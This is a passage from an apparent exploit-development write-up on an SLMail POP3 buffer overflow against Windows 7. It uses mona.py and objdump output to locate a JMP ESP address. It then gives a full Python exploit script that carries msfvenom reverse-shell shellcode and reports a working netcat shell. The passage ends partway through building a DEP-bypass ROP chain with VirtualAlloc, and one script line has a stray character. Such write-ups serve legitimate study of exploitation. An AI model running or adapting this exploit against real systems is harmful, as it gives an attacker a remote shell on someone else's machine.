 0x77620000 | 0x776c1000 | 0x000a1000 | True   | True    | True  |  True    | True   | 6.1.7601.24214 [ADVAPI32.dll] (C:\Windows\system32\ADVAPI32.dll)
 0x75700000 | 0x75717000 | 0x00017000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [userenv.dll] (C:\Windows\system32\userenv.dll)
 0x77b10000 | 0x77b45000 | 0x00035000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [WS2_32.dll] (C:\Windows\system32\WS2_32.dll)
 0x75090000 | 0x750cc000 | 0x0003c000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [mswsock.dll] (C:\Windows\system32\mswsock.dll)
 0x001f0000 | 0x0020f000 | 0x0001f000 | True   | False   | False |  False   | True   | 1.1 [Antares.dll] (C:\Windows\system32\Antares.dll)
-----------------------------------------------------------------------------------------------------------------------------------------

Once I narrowed down the modules I wanted to use for the JMP ESP instruction, the command looks like the following.
!mona jmp -r esp -m mfc42loc.dll,slmfc.dll,Openc32.dll
Looking at the results below, you can see that mona.py did not find the instructions I was looking for.

0BADF00D   [+] Command used:
0BADF00D   !mona jmp -r esp -m mfc42loc.dll,slmfc.dll,Openc32.dll

           ---------- Mona command started on 2019-11-24 11:40:37 (v2.0, rev 599) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D       - Only querying modules mfc42loc.dll,slmfc.dll,Openc32.dll
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   [+] Querying 2 modules
0BADF00D       - Querying module Openc32.dll
0BADF00D       - Querying module SLMFC.DLL
0BADF00D       - Search complete, processing results
0BADF00D   [+] Preparing output file 'jmp.txt'
0BADF00D       - (Re)setting logfile c:\vuln-logs\SLmail\jmp.txt
0BADF00D       Found a total of 0 pointers
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:10.233000

Since mona.py did not find the JMP ESP instruction, another method would be to copy the non-ASLR DLL over to Linux and check with the objdump tool.  I will be using the SLMFC.dll module since it was compiled without Rebase or ASLR enabled.

objdump -D

As you can see in the above results of the objdump command, there are a handful of JMP ESP instructions. Just to make sure, in Immunity Debugger we tried to go to the address 0x5f4a358f and watch which instructions are there.

Just right-click in the instructions windows, and choose “Go To -> Expression” in the pop-up menu. Then put the memory address in the expression form and click “OK”.

5F4A358F   FFE4             JMP ESP
5F4A3591   0048 5F          ADD BYTE PTR DS:[EAX+5F],CL
5F4A3594   98               CWDE
5F4A3595   35 4A5FC0AC      XOR EAX,ACC05F4A

As you see from above, the address checks out, as it does contain a JMP ESP instruction.  So now that I have the non-ASLR address to JMP ESP, I can write the exploit as seen below.

#!/usr/bin/env python3

# SLMail POP3 Server Exploit
# Target: Windows 7 Pro - NO DEP
# Author: d3d at Malicious.Group

import socket
import struct
import sys

# Set character encoding
encoding = "latin-1"

# Shellcode generated by msfvenom (shell_reverse_tcp)
buf = b""
buf += b"\xba\xaf\xcf\xc8\xa0\xd9\xe9\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x52\x31\x57\x12\x03\x57\x12\x83\x68\xcb\x2a"
buf += b"\x55\x8a\x3c\x28\x96\x72\xbd\x4d\x1e\x97\x8c\x4d\x44"
buf += b"\xdc\xbf\x7d\x0e\xb0\x33\xf5\x42\x20\xc7\x7b\x4b\x47"
buf += b"\x60\x31\xad\x66\x71\x6a\x8d\xe9\xf1\x71\xc2\xc9\xc8"
buf += b"\xb9\x17\x08\x0c\xa7\xda\x58\xc5\xa3\x49\x4c\x62\xf9"
buf += b"\x51\xe7\x38\xef\xd1\x14\x88\x0e\xf3\x8b\x82\x48\xd3"
buf += b"\x2a\x46\xe1\x5a\x34\x8b\xcc\x15\xcf\x7f\xba\xa7\x19"
buf += b"\x4e\x43\x0b\x64\x7e\xb6\x55\xa1\xb9\x29\x20\xdb\xb9"
buf += b"\xd4\x33\x18\xc3\x02\xb1\xba\x63\xc0\x61\x66\x95\x05"
buf += b"\xf7\xed\x99\xe2\x73\xa9\xbd\xf5\x50\xc2\xba\x7e\x57"
buf += b"\x04\x4b\xc4\x7c\x80\x17\x9e\x1d\x91\xfd\x71\x21\xc1"
buf += b"\x5d\x2d\x87\x8a\x70\x3a\xba\xd1\x1c\x8f\xf7\xe9\xdc"
buf += b"\x87\x80\x9a\xee\x08\x3b\x34\x43\xc0\xe5\xc3\xa4\xfb"
buf += b"\x52\x5b\x5b\x04\xa3\x72\x98\x50\xf3\xec\x09\xd9\x98"
buf += b"\xec\xb6\x0c\x0e\xbc\x18\xff\xef\x6c\xd9\xaf\x87\x66"
buf += b"\xd6\x90\xb8\x89\x3c\xb9\x53\x70\xd7\x06\x0b\x72\xbb"
buf += b"\xef\x4e\x82\xc2\x54\xc7\x64\xae\xba\x8e\x3f\x47\x22"
buf += b"\x8b\xcb\xf6\xab\x01\xb6\x39\x27\xa6\x47\xf7\xc0\xc3"
buf += b"\x5b\x60\x21\x9e\x01\x27\x3e\x34\x2d\xab\xad\xd3\xad"
buf += b"\xa2\xcd\x4b\xfa\xe3\x20\x82\x6e\x1e\x1a\x3c\x8c\xe3"
buf += b"\xfa\x07\x14\x38\x3f\x89\x95\xcd\x7b\xad\x85\x0b\x83"
buf += b"\xe9\xf1\xc3\xd2\xa7\xaf\xa5\x8c\x09\x19\x7c\x62\xc0"
buf += b"\xcd\xf9\x48\xd3\x8b\x05\x85\xa5\x73\xb7\x70\xf0\x8c"
buf += b"\x78\x15\xf4\xf5\x64\x85\xfb\x2c\x2d\xb5\xb1\x6c\x04"
buf += b"\x5e\x1c\xe5\x14\x03\x9f\xd0\x5b\x3a\x1c\xd0\x23\xb9"
buf += b"\x3c\x91\x26\x85\xfa\x4a\x5b\x96\x6e\x6c\xc8\x97\xba"

# Binary Information generated by mona.py
bin_data = dict()
bin_data['eip_offset'] = 4654                               # EIP contains normal pattern (offset 4654)
bin_data['stage_1_size'] = 430                              # ESP points to offset at 4658 (length 430)
bin_data['pattern_size'] = 6000                             # Cyclic pattern found (length 6000 bytes)
bin_data['jmp_esp'] = struct.pack('<L', 0x5f4a358f)         # JMP ESP ** [slmfc.dll]
bin_data['add_esp_-240h'] = b"\x81\xc4\xc0\xfd\xff\xff"     # ADD ESP, -240h | generated with metasm_shell.rb


def build_payload(data: dict, shell_code: bytes):
    """ Build a Malicious payload for our target service """
    buffer = b""
    buffer += b'A' * data['eip_offset']
    buffer += data['jmp_esp']
    buffer += data['add_esp_-240h']
    buffer += shell_code
    buffer += b'B' * (data['pattern_size'] - len(buffer))
    return buffer


def exploit(host: str, port: int, payload: bytes):
    """ Exploit the target service, redirect to shellcode """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.recv(1024).decode()        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        s.recv(1024).decode()        # +OK d3d welcome here
        s.send(b"PASS " + payload + b"\r\n")​_
        s.recv(1024).decode()        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit("[?] Usage: %s <ip address> <port>" % sys.argv[0])
    _host = str(sys.argv[1])
    _port = int(sys.argv[2])
    _payload = build_payload(bin_data, buf)
    exploit(_host, _port, _payload)

BINGO! As you can see below it worked.

Win7 Netcat Shell

Windows 7 Pro with DEP

As with the Windows XP SP3 DEP bypass, I will need to generate another ROP chain to execute VirtualAlloc again to set the stack executable, so I am going to skip to generating the ROP chain using modules without Rebase or ASLR enabled.
!mona rop -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb '\x00\x0a\x0d'
Looking at the file rop_chains.txt we see chains to VirtualProtect and VirtualAlloc. The VirtualProtect chain is 600 bytes in length, too big for the space we have on the exploit (430 bytes). The VirtualAlloc one is smaller (96 bytes), but it is not complete because mona.py did not find a pointer to VirtualAlloc and did not find a gadget to put 0x1000 into EDX on any of the modules used to create the chains.

Here is the chain.

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    #[---INFO:gadgets_to_set_esi:---]
    0x00000000,  # [-] Unable to find API pointer -> ecx
    0x5f421282,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [SLMFC.DLL] 
    0x5f468e7b,  # PUSH EAX # PUSHAD # POP ESI # RETN [SLMFC.DLL] 
    #[---INFO:gadgets_to_set_ebp:---]
    0x5f473188,  # POP EAX # RETN [SLMFC.DLL] 
    0x7ffbff9c,  # put delta into eax (-> put 0x00000000 into ebp)
    0x5f47fc0f,  # ADD EAX,80040064 # RETN 0x08 [SLMFC.DLL] 
    0x5f45b14e,  # XCHG EAX,EBP # RETN [SLMFC.DLL] 
    0x41414141,  # Filler (RETN offset compensation)
    0x41414141,  # Filler (RETN offset compensation)
    #[---INFO:gadgets_to_set_ebx:---]
    0x5f418f89,  # POP EAX # RETN [SLMFC.DLL] 
    0xffffffff,  # Value to negate, will become 0x00000001
    0x5f465969,  # NEG EAX # RETN [SLMFC.DLL] 
    0x5f4503e7,  # PUSH EAX # ADD AL,5E # POP EBX # RETN [SLMFC.DLL] 
    #[---INFO:gadgets_to_set_edx:---]
    0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
    #[---INFO:gadgets_to_set_ecx:---]
    0x5f486783,  # POP EAX # RETN [SLMFC.DLL] 
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x5f47fe72,  # NEG EAX # RETN [SLMFC.DLL] 
    0x5f4891b4,  # XCHG EAX,ECX # DEC EAX # POP EDI # RETN [SLMFC.DLL] 
    0x41414141,  # Filler (compensate)
    #[---INFO:gadgets_to_set_edi:---]
    0x5f44d87d,  # POP EDI # RETN [SLMFC.DLL] 
    0x5f445804,  # RETN (ROP NOP) [SLMFC.DLL]
    #[---INFO:gadgets_to_set_eax:---]
    0x5f418e3c,  # POP EAX # RETN [SLMFC.DLL] 
    0x90909090,  # nop
    #[---INFO:pushad:---]
    0x5f495b3d,  # PUSHAD # RETN [SLMFC.DLL] 
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

As you can see in the highlighted lines above, I am missing 2 ROP gadgets.

Even if mona.py could not find valid gadgets to make the chain, that doesn’t mean the chain cannot be generated. Let’s try to generate our own ROP chain with VirtualAlloc to make our exploit work.

To call VirtualAlloc, we need to set up the stack as follows.

EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)

To find a pointer to VirtualAlloc we can try to find a pointer from SLMFC.DLL to another module containing a pointer to the API. To help with this, mona.py has the command ropfunc.  To use ropfunc with the non-ASLR modules and excluding the bad chars, use the following command.

!mona ropfunc -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb '\x00\x0a\x0d'

The command generates the files ropfunc.txt and ropfunc_offsets.txt.  In ropfunc.txt there should be a list of pointers to interesting functions that can help bypass DEP. In ropfunc_offsets.txt there should be pointers to functions in modules which had pointers to VirtualAlloc, VirtualProtect, or other API functions to change or disable DEP.

Here is an example of ropfunc_offset.txt. There are plenty of valid pointers, so we take one with a small negative offset.

0x5f49a1cc : (SLMFC.DLL - IAT 0x5f49a1cc : kernel32.dll.kernel32!multibytetowidechar (0x750b18fe), offset to kernel32.dll.virtualalloc (0x750b1826) : -216

From that line we know that in 0x5f49a1cc there is a pointer to a pointer that points to the function multibytetowidehchar in the kernel32.dll module, and that pointer is at an offset of -216 bytes from a pointer to the VirtualAlloc function in the same module.

To obtain a pointer to VirtualAlloc on ecx we can do something like this:

move      ecx,0x5f49a1cc   # put the pointer to pointer to multibytetowidechar on ecx
move      ecx,[ecx]        # get the address on memory of the pointer to multibytetowidechar
sub       ecx,0x00000d8    # add/sub the offset to get the address of the pointer to VirtualAlloc

So our goal now is to set up the stack as we saw in the previous table, with ESP pointing to the pointer to VirtualAlloc, and put a RET instruction into EIP.

First, let’s set up the stack using the gadgets in rop.txt and rop_suggestions.txt.

We save ESP (stack pointer) in ECX and use it to store values on the stack.